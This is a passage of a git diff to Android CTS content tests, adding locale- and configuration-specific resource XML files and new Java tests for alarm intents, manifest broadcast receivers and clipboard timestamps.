index 0000000..ba3c653
--- /dev/null
+++ b/tests/tests/content/res/values-b+fil+SA/configVarying.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2007 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <bag type="configVarying" name="bag">
+        <item name="testString">bag fil SA</item>
+    </bag>
+</resources>
diff --git a/tests/tests/content/res/values-b+fil/configVarying.xml b/tests/tests/content/res/values-b+fil/configVarying.xml
new file mode 100644
index 0000000..2fa8f9f
--- /dev/null
+++ b/tests/tests/content/res/values-b+fil/configVarying.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2007 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <item type="configVarying" name="simple">simple fil</item>
+</resources>
diff --git a/tests/tests/content/res/values-b+tlh/configVarying.xml b/tests/tests/content/res/values-b+tlh/configVarying.xml
new file mode 100644
index 0000000..48730f3
--- /dev/null
+++ b/tests/tests/content/res/values-b+tlh/configVarying.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2007 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <item type="configVarying" name="simple">simple tlh</item>
+    <bag type="configVarying" name="bag">
+        <item name="testString">bag tlh</item>
+    </bag>
+</resources>
diff --git a/tests/tests/content/res/values-highdr/configVarying.xml b/tests/tests/content/res/values-highdr/configVarying.xml
new file mode 100755
index 0000000..c246f97
--- /dev/null
+++ b/tests/tests/content/res/values-highdr/configVarying.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <item type="configVarying" name="simple">simple hdr</item>
+    <bag type="configVarying" name="bag">
+        <item name="testString">bag hdr</item>
+    </bag>
+</resources>
diff --git a/tests/tests/content/res/values-iw-rIL/configVarying.xml b/tests/tests/content/res/values-iw-rIL/configVarying.xml
new file mode 100644
index 0000000..a42f026
--- /dev/null
+++ b/tests/tests/content/res/values-iw-rIL/configVarying.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2007 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <item type="configVarying" name="simple">simple iw IL</item>
+    <bag type="configVarying" name="bag">
+        <item name="testString">bag iw IL</item>
+    </bag>
+</resources>
diff --git a/tests/tests/content/res/values-iw/configVarying.xml b/tests/tests/content/res/values-iw/configVarying.xml
new file mode 100644
index 0000000..8eabd93
--- /dev/null
+++ b/tests/tests/content/res/values-iw/configVarying.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2007 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <item type="configVarying" name="simple">simple iw</item>
+    <bag type="configVarying" name="bag">
+        <item name="testString">bag iw</item>
+    </bag>
+</resources>
diff --git a/tests/tests/content/res/values-lowdr/configVarying.xml b/tests/tests/content/res/values-lowdr/configVarying.xml
new file mode 100755
index 0000000..df55450
--- /dev/null
+++ b/tests/tests/content/res/values-lowdr/configVarying.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <item type="configVarying" name="simple">simple ldr</item>
+    <bag type="configVarying" name="bag">
+        <item name="testString">bag ldr</item>
+    </bag>
+</resources>
diff --git a/tests/tests/content/res/values-mk-rMK/configVarying.xml b/tests/tests/content/res/values-mk-rMK/configVarying.xml
new file mode 100644
index 0000000..14265ef
--- /dev/null
+++ b/tests/tests/content/res/values-mk-rMK/configVarying.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2007 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <item type="configVarying" name="simple">simple mk MK</item>
+    <bag type="configVarying" name="bag">
+        <item name="testString">bag mk MK</item>
+    </bag>
+</resources>
diff --git a/tests/tests/content/res/values-mk/configVarying.xml b/tests/tests/content/res/values-mk/configVarying.xml
new file mode 100644
index 0000000..edd1099
--- /dev/null
+++ b/tests/tests/content/res/values-mk/configVarying.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2007 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <item type="configVarying" name="simple">simple mk</item>
+    <bag type="configVarying" name="bag">
+        <item name="testString">bag mk</item>
+    </bag>
+</resources>
diff --git a/tests/tests/content/res/values-night/colors.xml b/tests/tests/content/res/values-night/colors.xml
new file mode 100644
index 0000000..1281c81
--- /dev/null
+++ b/tests/tests/content/res/values-night/colors.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<resources>
+    <color name="varies_uimode">#ff0000</color>
+</resources>
diff --git a/tests/tests/content/res/values-nowidecg/configVarying.xml b/tests/tests/content/res/values-nowidecg/configVarying.xml
new file mode 100755
index 0000000..5eb608b
--- /dev/null
+++ b/tests/tests/content/res/values-nowidecg/configVarying.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <item type="configVarying" name="simple">simple nowidecg</item>
+    <bag type="configVarying" name="bag">
+        <item name="testString">bag nowidecg</item>
+    </bag>
+</resources>
diff --git a/tests/tests/content/res/values-widecg/configVarying.xml b/tests/tests/content/res/values-widecg/configVarying.xml
new file mode 100755
index 0000000..239d13e
--- /dev/null
+++ b/tests/tests/content/res/values-widecg/configVarying.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <item type="configVarying" name="simple">simple widecg</item>
+    <bag type="configVarying" name="bag">
+        <item name="testString">bag widecg</item>
+    </bag>
+</resources>
diff --git a/tests/tests/content/res/values/attrs.xml b/tests/tests/content/res/values/attrs.xml
index 12b731b..236ee6c 100644
--- a/tests/tests/content/res/values/attrs.xml
+++ b/tests/tests/content/res/values/attrs.xml
@@ -49,6 +49,7 @@
     <attr name="type15" format="reference"/>
     <attr name="type16" format="string"/>
     <attr name="type17" format="reference|color"/>
+    <attr name="type18" format="reference|string"/>
     <attr name="typeEmpty" format="reference"/>
     <attr name="typeUndefined" format="reference"/>
     <declare-styleable name="style1">
@@ -69,6 +70,7 @@
         <attr name="type15"/>
         <attr name="type16"/>
         <attr name="type17"/>
+        <attr name="type18"/>
         <attr name="typeEmpty"/>
         <attr name="typeUndefined"/>
     </declare-styleable>
diff --git a/tests/tests/content/res/values/colors.xml b/tests/tests/content/res/values/colors.xml
index f3cc325..6346629 100644
--- a/tests/tests/content/res/values/colors.xml
+++ b/tests/tests/content/res/values/colors.xml
@@ -23,4 +23,5 @@
     <color name="testcolor1">#ff00ff00</color>
     <color name="testcolor2">#ffff0000</color>
     <color name="failColor">#ff0000ff</color>
+    <color name="varies_uimode">#0000ff</color>
 </resources>
diff --git a/tests/tests/content/res/values/resources_test.xml b/tests/tests/content/res/values/resources_test.xml
index 91c2c4a..78385186 100644
--- a/tests/tests/content/res/values/resources_test.xml
+++ b/tests/tests/content/res/values/resources_test.xml
@@ -22,6 +22,10 @@
           will be displayed in the app launcher and elsewhere. -->
      <dimen name="app_icon_size">48px</dimen>
      <dimen name="toast_y_offset">64dip</dimen>
+    <dimen name="pos_dimen_149">1.49px</dimen>
+    <dimen name="pos_dimen_151">1.51px</dimen>
+    <dimen name="neg_dimen_149">-1.49px</dimen>
+    <dimen name="neg_dimen_151">-1.51px</dimen>
      <plurals name="plurals_test">
         <item quantity="one">A dog</item>
         <item quantity="other">Some dogs</item>
diff --git a/tests/tests/content/res/values/styles.xml b/tests/tests/content/res/values/styles.xml
index c6e4b1d..91191cf 100644
--- a/tests/tests/content/res/values/styles.xml
+++ b/tests/tests/content/res/values/styles.xml
@@ -34,6 +34,7 @@
         <item name="type15">@array/difficultyLevel</item>
         <item name="type16">Typed Value!</item>
         <item name="type17">@color/testcolor_orientation</item>
+        <item name="type18">@font/sample_regular_font</item>
         <item name="typeEmpty">@empty</item>
         <item name="typeUndefined">@null</item>
     </style>
@@ -128,8 +129,8 @@
 
     <style name="TestProgressBar">
         <item name="android:indeterminateOnly">false</item>
-        <item name="android:progressDrawable">?android:drawable/progress_horizontal</item>
-        <item name="android:indeterminateDrawable">?android:drawable/progress_horizontal</item>
+        <item name="android:progressDrawable">@android:drawable/progress_horizontal</item>
+        <item name="android:indeterminateDrawable">@android:drawable/progress_horizontal</item>
         <item name="android:minHeight">20dip</item>
         <item name="android:maxHeight">20dip</item>
         <item name="android:focusable">true</item>
@@ -181,4 +182,12 @@
     <style name="Theme_OrientationDependent">
         <item name="themeDimension">999px</item>
     </style>
+
+    <style name="Theme_InlineString">
+        <item name="testString">"This is a string"</item>
+    </style>
+
+    <style name="Theme_Empty">
+        <item name="type1">@empty</item>
+    </style>
 </resources>
diff --git a/tests/tests/content/res/xml/empty.xml b/tests/tests/content/res/xml/empty.xml
new file mode 100644
index 0000000..f26f23b
--- /dev/null
+++ b/tests/tests/content/res/xml/empty.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+-->
+
+<element xmlns:app="http://schemas.android.com/apk/res-auto"
+    app:type1="@empty" />
+
diff --git a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
index dc92526..e34aa6e 100644
--- a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
+++ b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
@@ -256,7 +256,7 @@
         assertCanBeHandled(intent);
     }
 
-    public void testAlarmClock() {
+    public void testAlarmClockSetAlarm() {
         Intent intent = new Intent(AlarmClock.ACTION_SET_ALARM);
         intent.putExtra(AlarmClock.EXTRA_MESSAGE, "Custom message");
         intent.putExtra(AlarmClock.EXTRA_HOUR, 12);
@@ -264,6 +264,25 @@
         assertCanBeHandled(intent);
     }
 
+    public void testAlarmClockSetTimer() {
+        Intent intent = new Intent(AlarmClock.ACTION_SET_TIMER);
+        intent.putExtra(AlarmClock.EXTRA_LENGTH, 60000);
+        assertCanBeHandled(intent);
+    }
+
+    public void testAlarmClockShowAlarms() {
+        Intent intent = new Intent(AlarmClock.ACTION_SHOW_ALARMS);
+        assertCanBeHandled(intent);
+    }
+
+    public void testAlarmClockShowTimers() {
+        if (mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY)) {
+            return;
+        }
+        Intent intent = new Intent(AlarmClock.ACTION_SHOW_TIMERS);
+        assertCanBeHandled(intent);
+    }
+
     public void testOpenDocumentAny() {
         Intent intent = new Intent(Intent.ACTION_OPEN_DOCUMENT);
         intent.addCategory(Intent.CATEGORY_OPENABLE);
@@ -312,14 +331,20 @@
     }
  
     public void testVoiceCommand() {
-        Intent intent = new Intent(Intent.ACTION_VOICE_COMMAND);
-        assertCanBeHandled(intent);
-        assertDefaultHandlerValidPriority(intent);
+        PackageManager packageManager = mContext.getPackageManager();
+        if (packageManager.hasSystemFeature(PackageManager.FEATURE_MICROPHONE)) {
+            Intent intent = new Intent(Intent.ACTION_VOICE_COMMAND);
+            assertCanBeHandled(intent);
+            assertDefaultHandlerValidPriority(intent);
+        }
     }
 
     public void testVoiceSearchHandsFree() {
-        Intent intent = new Intent(RecognizerIntent.ACTION_VOICE_SEARCH_HANDS_FREE);
-        assertCanBeHandled(intent);
-        assertDefaultHandlerValidPriority(intent);
+        PackageManager packageManager = mContext.getPackageManager();
+        if (packageManager.hasSystemFeature(PackageManager.FEATURE_MICROPHONE)) {
+            Intent intent = new Intent(RecognizerIntent.ACTION_VOICE_SEARCH_HANDS_FREE);
+            assertCanBeHandled(intent);
+            assertDefaultHandlerValidPriority(intent);
+        }
     }
 }
diff --git a/tests/tests/content/src/android/content/cts/BroadcastReceiverTest.java b/tests/tests/content/src/android/content/cts/BroadcastReceiverTest.java
index 8a56fa6..d62d322 100644
--- a/tests/tests/content/src/android/content/cts/BroadcastReceiverTest.java
+++ b/tests/tests/content/src/android/content/cts/BroadcastReceiverTest.java
@@ -49,6 +49,9 @@
             "android.content.cts.BroadcastReceiverTest.BROADCAST_TESTABORT";
     private static final String ACTION_BROADCAST_DISABLED =
             "android.content.cts.BroadcastReceiverTest.BROADCAST_DISABLED";
+    private static final String TEST_PACKAGE_NAME = "android.content.cts";
+
+    private static final String SIGNATURE_PERMISSION = "android.content.cts.SIGNATURE_PERMISSION";
 
     private static final long SEND_BROADCAST_TIMEOUT = 15000;
     private static final long START_SERVICE_TIMEOUT  = 3000;
@@ -58,7 +61,7 @@
                     "android.content.cts.MockReceiverDisableable");
 
     public BroadcastReceiverTest() {
-        super("android.content.cts", MockActivity.class);
+        super(TEST_PACKAGE_NAME, MockActivity.class);
     }
 
     @Override
@@ -182,8 +185,90 @@
         activity.unregisterReceiver(internalReceiver);
     }
 
-    public void testOnReceiverOrdered() throws InterruptedException {
-        MockReceiverInternalOrder internalOrderReceiver = new MockReceiverInternalOrder();
+    public void testManifestReceiverPackage() throws InterruptedException {
+        MockReceiverInternal internalReceiver = new MockReceiverInternal();
+
+        Bundle map = new Bundle();
+        map.putString(MockReceiver.RESULT_EXTRAS_INVARIABLE_KEY,
+                MockReceiver.RESULT_EXTRAS_INVARIABLE_VALUE);
+        map.putString(MockReceiver.RESULT_EXTRAS_REMOVE_KEY,
+                MockReceiver.RESULT_EXTRAS_REMOVE_VALUE);
+        getInstrumentation().getContext().sendOrderedBroadcast(
+                new Intent(ACTION_BROADCAST_MOCKTEST)
+                        .setPackage(TEST_PACKAGE_NAME).addFlags(Intent.FLAG_RECEIVER_FOREGROUND),
+                null, internalReceiver,
+                null, RESULT_INITIAL_CODE, RESULT_INITIAL_DATA, map);
+        internalReceiver.waitForReceiver(SEND_BROADCAST_TIMEOUT);
+
+        // These are set by MockReceiver.
+        assertEquals(MockReceiver.RESULT_CODE, internalReceiver.getResultCode());
+        assertEquals(MockReceiver.RESULT_DATA, internalReceiver.getResultData());
+
+        Bundle resultExtras = internalReceiver.getResultExtras(false);
+        assertEquals(MockReceiver.RESULT_EXTRAS_INVARIABLE_VALUE,
+                resultExtras.getString(MockReceiver.RESULT_EXTRAS_INVARIABLE_KEY));
+        assertEquals(MockReceiver.RESULT_EXTRAS_ADD_VALUE,
+                resultExtras.getString(MockReceiver.RESULT_EXTRAS_ADD_KEY));
+        assertNull(resultExtras.getString(MockReceiver.RESULT_EXTRAS_REMOVE_KEY));
+    }
+
+    public void testManifestReceiverComponent() throws InterruptedException {
+        MockReceiverInternal internalReceiver = new MockReceiverInternal();
+
+        Bundle map = new Bundle();
+        map.putString(MockReceiver.RESULT_EXTRAS_INVARIABLE_KEY,
+                MockReceiver.RESULT_EXTRAS_INVARIABLE_VALUE);
+        map.putString(MockReceiver.RESULT_EXTRAS_REMOVE_KEY,
+                MockReceiver.RESULT_EXTRAS_REMOVE_VALUE);
+        getInstrumentation().getContext().sendOrderedBroadcast(
+                new Intent(ACTION_BROADCAST_MOCKTEST)
+                        .setClass(getActivity(), MockReceiver.class)
+                        .addFlags(Intent.FLAG_RECEIVER_FOREGROUND),
+                null, internalReceiver,
+                null, RESULT_INITIAL_CODE, RESULT_INITIAL_DATA, map);
+        internalReceiver.waitForReceiver(SEND_BROADCAST_TIMEOUT);
+
+        // These are set by MockReceiver.
+        assertEquals(MockReceiver.RESULT_CODE, internalReceiver.getResultCode());
+        assertEquals(MockReceiver.RESULT_DATA, internalReceiver.getResultData());
+
+        Bundle resultExtras = internalReceiver.getResultExtras(false);
+        assertEquals(MockReceiver.RESULT_EXTRAS_INVARIABLE_VALUE,
+                resultExtras.getString(MockReceiver.RESULT_EXTRAS_INVARIABLE_KEY));
+        assertEquals(MockReceiver.RESULT_EXTRAS_ADD_VALUE,
+                resultExtras.getString(MockReceiver.RESULT_EXTRAS_ADD_KEY));
+        assertNull(resultExtras.getString(MockReceiver.RESULT_EXTRAS_REMOVE_KEY));
+    }
+
+    public void testManifestReceiverPermission() throws InterruptedException {
+        MockReceiverInternal internalReceiver = new MockReceiverInternal();
+
+        Bundle map = new Bundle();
+        map.putString(MockReceiver.RESULT_EXTRAS_INVARIABLE_KEY,
+                MockReceiver.RESULT_EXTRAS_INVARIABLE_VALUE);
+        map.putString(MockReceiver.RESULT_EXTRAS_REMOVE_KEY,
+                MockReceiver.RESULT_EXTRAS_REMOVE_VALUE);
+        getInstrumentation().getContext().sendOrderedBroadcast(
+                new Intent(ACTION_BROADCAST_MOCKTEST)
+                        .addFlags(Intent.FLAG_RECEIVER_FOREGROUND),
+                SIGNATURE_PERMISSION, internalReceiver,
+                null, RESULT_INITIAL_CODE, RESULT_INITIAL_DATA, map);
+        internalReceiver.waitForReceiver(SEND_BROADCAST_TIMEOUT);
+
+        // These are set by MockReceiver.
+        assertEquals(MockReceiver.RESULT_CODE, internalReceiver.getResultCode());
+        assertEquals(MockReceiver.RESULT_DATA, internalReceiver.getResultData());
+
+        Bundle resultExtras = internalReceiver.getResultExtras(false);
+        assertEquals(MockReceiver.RESULT_EXTRAS_INVARIABLE_VALUE,
+                resultExtras.getString(MockReceiver.RESULT_EXTRAS_INVARIABLE_KEY));
+        assertEquals(MockReceiver.RESULT_EXTRAS_ADD_VALUE,
+                resultExtras.getString(MockReceiver.RESULT_EXTRAS_ADD_KEY));
+        assertNull(resultExtras.getString(MockReceiver.RESULT_EXTRAS_REMOVE_KEY));
+    }
+
+    public void testNoManifestReceiver() throws InterruptedException {
+        MockReceiverInternal internalReceiver = new MockReceiverInternal();
 
         Bundle map = new Bundle();
         map.putString(MockReceiver.RESULT_EXTRAS_INVARIABLE_KEY,
@@ -192,19 +277,20 @@
                 MockReceiver.RESULT_EXTRAS_REMOVE_VALUE);
         getInstrumentation().getContext().sendOrderedBroadcast(
                 new Intent(ACTION_BROADCAST_MOCKTEST).addFlags(Intent.FLAG_RECEIVER_FOREGROUND),
-                null, internalOrderReceiver,
+                null, internalReceiver,
                 null, RESULT_INITIAL_CODE, RESULT_INITIAL_DATA, map);
-        internalOrderReceiver.waitForReceiver(SEND_BROADCAST_TIMEOUT);
+        internalReceiver.waitForReceiver(SEND_BROADCAST_TIMEOUT);
 
-        assertEquals(RESULT_INTERNAL_FINAL_CODE, internalOrderReceiver.getResultCode());
-        assertEquals(RESULT_INTERNAL_FINAL_DATA, internalOrderReceiver.getResultData());
+        // The MockReceiver should not have run, so we should still have the initial result.
+        assertEquals(RESULT_INITIAL_CODE, internalReceiver.getResultCode());
+        assertEquals(RESULT_INITIAL_DATA, internalReceiver.getResultData());
 
-        Bundle resultExtras = internalOrderReceiver.getResultExtras(false);
+        Bundle resultExtras = internalReceiver.getResultExtras(false);
         assertEquals(MockReceiver.RESULT_EXTRAS_INVARIABLE_VALUE,
                 resultExtras.getString(MockReceiver.RESULT_EXTRAS_INVARIABLE_KEY));
-        assertEquals(MockReceiver.RESULT_EXTRAS_ADD_VALUE,
-                resultExtras.getString(MockReceiver.RESULT_EXTRAS_ADD_KEY));
-        assertNull(resultExtras.getString(MockReceiver.RESULT_EXTRAS_REMOVE_KEY));
+        assertNull(resultExtras.getString(MockReceiver.RESULT_EXTRAS_ADD_KEY));
+        assertEquals(MockReceiver.RESULT_EXTRAS_REMOVE_VALUE,
+                resultExtras.getString(MockReceiver.RESULT_EXTRAS_REMOVE_KEY));
     }
 
     public void testAbortBroadcast() throws InterruptedException {
@@ -223,7 +309,8 @@
         // MockReceiverFirst --> MockReceiverAbort --> MockReceiver --> internalOrderReceiver.
         // And MockReceiver is the receiver which will be aborted.
         getInstrumentation().getContext().sendOrderedBroadcast(
-                new Intent(ACTION_BROADCAST_TESTABORT).addFlags(Intent.FLAG_RECEIVER_FOREGROUND),
+                new Intent(ACTION_BROADCAST_TESTABORT)
+                        .setPackage(TEST_PACKAGE_NAME).addFlags(Intent.FLAG_RECEIVER_FOREGROUND),
                 null, internalOrderReceiver,
                 null, RESULT_INITIAL_CODE, RESULT_INITIAL_DATA, map);
         internalOrderReceiver.waitForReceiver(SEND_BROADCAST_TIMEOUT);
diff --git a/tests/tests/content/src/android/content/cts/ClipDescriptionTest.java b/tests/tests/content/src/android/content/cts/ClipDescriptionTest.java
new file mode 100644
index 0000000..bd9756e
--- /dev/null
+++ b/tests/tests/content/src/android/content/cts/ClipDescriptionTest.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.cts;
+
+import static org.junit.Assert.fail;
+
+import android.content.ClipData;
+import android.content.ClipboardManager;
+import android.content.Context;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Calendar;
+
+/**
+ * To run:
+ * cts-tradefed run singleCommand cts-dev -m CtsContentTestCases -t android.content.cts.ClipDescriptionTest
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ClipDescriptionTest {
+    @UiThreadTest
+    @Test
+    public void testGetTimestamp() {
+        final ClipboardManager clipboardManager = (ClipboardManager)
+                InstrumentationRegistry.getTargetContext().getSystemService(
+                        Context.CLIPBOARD_SERVICE);
+        final long timestampBeforeSet = System.currentTimeMillis();
+        clipboardManager.setPrimaryClip(ClipData.newPlainText("Dummy text", "Text"));
+        final long timestampAfterSet = System.currentTimeMillis();
+        final long timestamp = clipboardManager.getPrimaryClipDescription().getTimestamp();
+        if (timestamp < timestampBeforeSet || timestamp > timestampAfterSet) {
+            fail("Value of timestamp is not as expected.\n"
+                    + "timestamp before setting clip: " + logTime(timestampBeforeSet) + "\n"
+                    + "timestamp after setting clip: " + logTime(timestampAfterSet) + "\n"
+                    + "actual timestamp: " + logTime(timestamp) + "\n"
+                    + "clipdata: " + clipboardManager.getPrimaryClip());
+        }
+    }
+
+    /**
+     * Convert a System.currentTimeMillis() value to a time of day value like
+     * that printed in logs. MM-DD-YY HH:MM:SS.MMM
+     *
+     * @param millis since the epoch (1/1/1970)
+     * @return String representation of the time.
+     */
+    public static String logTime(long millis) {
+        Calendar c = Calendar.getInstance();
+        if (millis >= 0) {
+            c.setTimeInMillis(millis);
+            return String.format("%tm-%td-%ty %tH:%tM:%tS.%tL", c, c, c, c, c, c, c);
+        } else {
+            return Long.toString(millis);
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/content/src/android/content/cts/ClipboardManagerListenerTest.java b/tests/tests/content/src/android/content/cts/ClipboardManagerListenerTest.java
index ca6bba7..961b784 100644
--- a/tests/tests/content/src/android/content/cts/ClipboardManagerListenerTest.java
+++ b/tests/tests/content/src/android/content/cts/ClipboardManagerListenerTest.java
@@ -18,10 +18,10 @@
 
 import android.content.ClipData;
 import android.content.ClipboardManager.OnPrimaryClipChangedListener;
-import android.cts.util.PollingCheck;
 import android.net.Uri;
 import android.test.ActivityInstrumentationTestCase2;
 
+import com.android.compatibility.common.util.PollingCheck;
 
 public class ClipboardManagerListenerTest
         extends ActivityInstrumentationTestCase2<ClipboardManagerListenerActivity> {
diff --git a/tests/tests/content/src/android/content/cts/ClipboardManagerTest.java b/tests/tests/content/src/android/content/cts/ClipboardManagerTest.java
index e92834c..e038117f 100644
--- a/tests/tests/content/src/android/content/cts/ClipboardManagerTest.java
+++ b/tests/tests/content/src/android/content/cts/ClipboardManagerTest.java
@@ -19,6 +19,7 @@
 import android.content.ClipData;
 import android.content.ClipDescription;
 import android.content.ClipboardManager;
+import android.content.ContentResolver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.ClipData.Item;
@@ -128,6 +129,61 @@
                 new ExpectedClipItem(null, null, uri));
